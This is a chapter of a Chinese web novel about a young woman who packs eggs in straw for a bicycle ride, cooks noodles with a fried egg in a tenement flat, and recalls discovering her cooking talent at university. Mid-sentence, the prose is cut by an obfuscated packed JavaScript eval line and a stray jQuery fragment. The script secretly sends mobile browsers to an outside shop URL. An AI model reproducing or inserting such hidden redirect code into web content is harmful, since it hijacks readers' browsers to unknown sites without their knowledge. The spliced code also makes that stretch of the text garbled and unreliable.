姜衡星并没有将鸡蛋直接带回筒子楼:老太太为了防止鸡蛋磕碰,在篮子里垫了一层厚厚的稻草,走路的颠簸在稻草的缓冲下,不至于让鸡蛋相互接触,但二八大杠跑起来呼呼作响,篮子的摇摆力度也要大得多,姜衡星看着鸡蛋在篮子里滚来滚去,骑了两个路口实在不敢继续向前。
她下了车,寻了个巷子的阴影处蹲下,把鸡蛋一枚枚拨到草篮的一边,从另一边取出些稻草,用自行车内胎做的皮筋把底部栓到一起,把稻草往四周拨出个太阳光线散开的模样,再将一枚鸡蛋放上去,用四散的稻草将其裹住,在鸡蛋的顶端用一根稻草使劲绑紧。
姜衡星用的稻草很多,鸡蛋放进去后只有个椭圆的草团,瞧不见一点鸡蛋的模样,她试着在路上滚了滚,满意的点点头,把鸡蛋顶端的稻草沿着绑紧的上方拨开,拿了新的鸡蛋如法炮制,这种固定方式很费稻草,十个鸡蛋把篮子里的稻草全扒拉完了才勉强够用。
十个鸡蛋稻草球分了三串,每串的个数分别是四三三,姜衡星把鸡蛋串的顶端绑在一起放到冰棍箱里跟挂面做了邻居,故意推着自行车冲过一个坑,二八大杠狠狠的颠簸了一下,但鸡蛋串被拿出来的时候稻草依旧是干燥的,顺着形状摸一遍也没有哪里软下去,姜衡星终于放了心。
云南十八怪,鸡蛋用草串着卖,姜衡星的捆蛋手法就是从这个习俗中得来的灵感,那边的鸡蛋串为了让人一眼能瞧见鸡蛋的数量成色,一般会让鸡蛋露出三分之一,因为材料相对节省,每个鸡蛋的中间也会捆上一道防止前后磕碰,姜衡星手艺不行,所以只用了最粗暴的全封闭模式。
没了一天可能要下肚十个蛋的恐惧,姜衡星重新上了车,也没在外面久留,去小卖部花六毛七买了包盐,便还了车背着箱子,手上提着草篮回了筒子楼,拿钥匙开门的时候她瞧了眼煤炉,四个蜂窝煤一个不少,在炉子旁边放成一摞。
姜衡星进了房间,把鸡蛋从箱子里拿出来挨个检查,稻草的缓冲能力非常令人信赖,十个鸡蛋都是圆溜溜的完好无损,姜衡星把它们放到墙角用稻草拦着防止乱跑,取了个看着最顺眼的蛋拿出来打面吃。
吸取了做瘦肉渣的教训,今天的姜衡星换了别家点燃的蜂窝煤引火后后,没有将蜂窝煤炉全部放满,只用火钳夹了一个进去。
昨天的特价五花瘦的可怜,倒出来的油只在碗底铺了浅浅一层,因为天气炎热,只在最底下凝固了一些白色的小颗粒,上面的油依旧是凝固状态,姜衡星索性用铲子将油全都刮进锅里,手握着锅把稍稍转一圈,油在锅中随着倾斜的方向走,底部很快被润开,刚好够煎一个鸡蛋。
吃鸡蛋最划算的应该是着整个下锅煮熟,一旦把生鸡蛋磕开,便是再利落的动作也难免有些蛋清的损耗,但什么都讲究划算就像是减肥食谱,人吃着吃着就会开始思考活着的意义。
铁锅开始冒烟,姜衡星利落的把鸡蛋磕下去,木头锅铲的厚度足有半厘米,姜衡星试着翻了翻鸡蛋,便果断换成了筷子,琢磨着以后有钱了还是要买一把薄锅铲,不锈钢的最好。
翻面的鸡蛋被煎成了焦黄色,姜衡星用锅铲压在鸡蛋表面转了几圈,把还没凝固的蛋黄按散,许多人都习惯吃溏心蛋,姜衡星却更习惯吃全熟的,一整颗煎熟的蛋黄总让她想起水煮蛋噎人的口感,打散以后就要好接受的多。
鸡蛋煎熟还要一会儿的功夫,姜衡星趁着这个空隙飞快的用碗去厨房接了水回来往锅里一倒,只听刺啦一声,锅上轰出浓重的白气,本来时不时传来油爆的锅迅速回归平静,只剩一枚漂亮的煎蛋在水里沉沉浮浮。
水要煮开才能下面,姜衡星坐在小板凳上耐心的等着,不知怎的便回想起一些往事。
姜衡星一直盘算着要做小吃摊,但实际上她并没有什么下厨的经验,这件事情的原因很多:姜衡星出生的时候,父母上班实在没精力带孩子,姜衡星从小是跟爷爷奶奶长大的。
爷爷奶奶其实有些老派思想,但谁养大的谁心疼,姜衡星又打小长得漂亮还会撒娇,带着去炫耀都来不及,做家务?疯了吧,以后长大了有的是活干,现在又不是旧社会,这么点点大的娃还不让过轻松日子了!
等到要上学了回到父母身边,家里用的还是煤气罐,父母一是内疚不能陪在孩子身边,二是担心小孩用煤气出事,加上就这么一个崽,家里本来就疼的很,索性直接剥夺了姜衡星对厨房的使用权。
主要姜衡星也好养活,吃上大菜的时候会投喂父母一堆甜言蜜语,没工夫的时候煎个蛋也能吃的喷香,实在懒得做饭给两块钱,出去吃个粉喝个汤也高高兴兴,没上学的时候还费些事情,小学没什么特殊情况统一订盒饭,初中更是一日三餐都能吃食堂。
家里通天然气的时候姜衡星已经初二,那个时候流行补课,姜衡星也没少上课后课,学生以学习为重,成绩外的一切都要往后放,相对于往厨房钻,父母更乐意让姜衡星多看几本书,毕业以后也闲不下来,人的一生都是关键时候,高中衔接班上起来!
等到正式进入高中,学习任务更重,姜衡星到家都十一点,父母光想着怎么让她多睡一会儿,根本没心思想别的,直到高考完收到外省的录取通知书,父母才意识到姜衡星毕业后可能会去外地工作,给姜衡星紧急补了补厨艺课,但也没教多少,因为那个暑假外卖大战开始了。
“会煮饭,会煮面,会煎鸡蛋,会炒青菜已经够了,你以后的主要精力还是要放在工作上,平时吃饭从外面买就行,这几个是保证在你碰上买不到饭菜的特殊时期能不把自己饿死。”
这是母亲的原话,姜衡星觉得很有道理,本来按照正常轨迹姜衡星应该是在自己租房以后渐渐学着做饭,但毕业后她直接在家乡上岸,完全没有需要自己动手的过渡期。
除了这些客观原因,姜衡星对下厨的主观能动性也很低:她跟母亲学厨是在暑假,夏天的厨房没有空调,煎个鸡蛋就满头满脸的汗,尝试过的印象不好,自然也没有继续探索的兴趣。
如果姜衡星嘴挑也就罢了,可她虽然有厨艺上的天赋,对饮食的要求却不高,只要一口下去不是打死卖
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17789226|210308||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
盐糖酱醋的,她都觉得还行,学校对食堂管得严,滋味比不上单独的小炒,却绝对称不上难吃。
而且家里也疼她,零花钱是定期给的,想买什么都不管,小时候肯德鸡麦当劳也没少吃,外面有什么新奇吃食,只要不是那种一个草莓八百八的类型,父母一般也都会买,有吃大餐的机会父母也会带上她,说句凡尔赛的话,姜衡星在成为飞人之前,根本不知道饿和馋是什么滋味。
至于为什么她在基本没有下厨经验的情况下还选择摆小吃摊挣钱,并且坚信自己闯出一片天,还要追溯到姜衡星的大学时期。
她的大学是六人间,室友的性格各有不同,但都不是极品,其中有一个就是标准的厨痴,她家开的饭店不小,从小就开始切菜颠锅。
为了保持做菜的手感,她直接在外面租了房子每天练习,只有晚上才回宿舍睡觉:学校管得严,没有特殊理由禁止外宿,每天还有查寝,没法夜不归宿,厨痴的外宿申请没能通过。
厨痴做菜的分量不少,但她就一个肚子,所以平时没少给室友们带自己做的吃食,姜衡星大学四年涨上去的二十斤肉,没有一斤能跟她脱开关系。
室友做饭没有固定的标准,一般是想到什么做什么,但选定一样东西就要做到她能力范围内的最好,不然不会换菜,姜衡星一般都是不发表评价或者给好评,毕竟她没出钱也没出力,吃饭的不评价做饭的属于基本常识。
但有一次姜衡星连喝了一个月一样的汤,实在是遭不住了,就小心的按照直觉建议厨痴往里面加点胡椒粉,室友照做了,从此打开新世界的大门,就此缠上了她,但凡做了吃食必定要姜衡星给意见,还总磨着姜衡星想让她动手事实。
也就是那个时候,姜衡星才渐渐意识到,不是所有人都能尝一口菜就知道往哪个方向改,喝一口汤就能追溯食材从下锅到上桌,拿了刻刀半天就能雕龙描凤,她在厨艺上好像真的有一点点天赋。
“什么一点点天赋,你这是万里挑一,万中无一的厨艺奇才!你这种人在小说里,就应该是一路打上国宴的天才厨师!”
室友在知道姜衡星对自己的认知后嚎叫许久,然后气势汹汹的自费带姜衡星去外面礼貌踢馆:去公认好吃的饭店点几个不费太多时间的厨师拿手菜,然后花钱让厨师按照姜衡星说的改进方向重做一遍,等过段时间再回来重温这些菜,然后姜衡星就发现这些菜大多都成了她建议的版本。
因为室友的费心费力,姜衡星也难免被打动,离校的时候答应要是考公三年没过就去室友饭店当厨子,两人连待遇都谈好了,结果姜衡星一次上岸,在公示期过了以后,室友在电话里哭了好久,埋怨国家把她的人才捞走了,没想到姜衡星兜兜转转,还是走上了做厨子的路。
锅里翻滚的鸡蛋汤已经成了白色,姜衡星用碗装了些热汤,融化掉碗里的油脂又将其倒了回去,然后洒下一把面条,熟透便往锅里倒了些毛毛盐,搅动两圈便把汤面倒进碗里,不多不少刚好一碗,姜衡星满意的点点头,拎着锅子去水槽那边洗干净。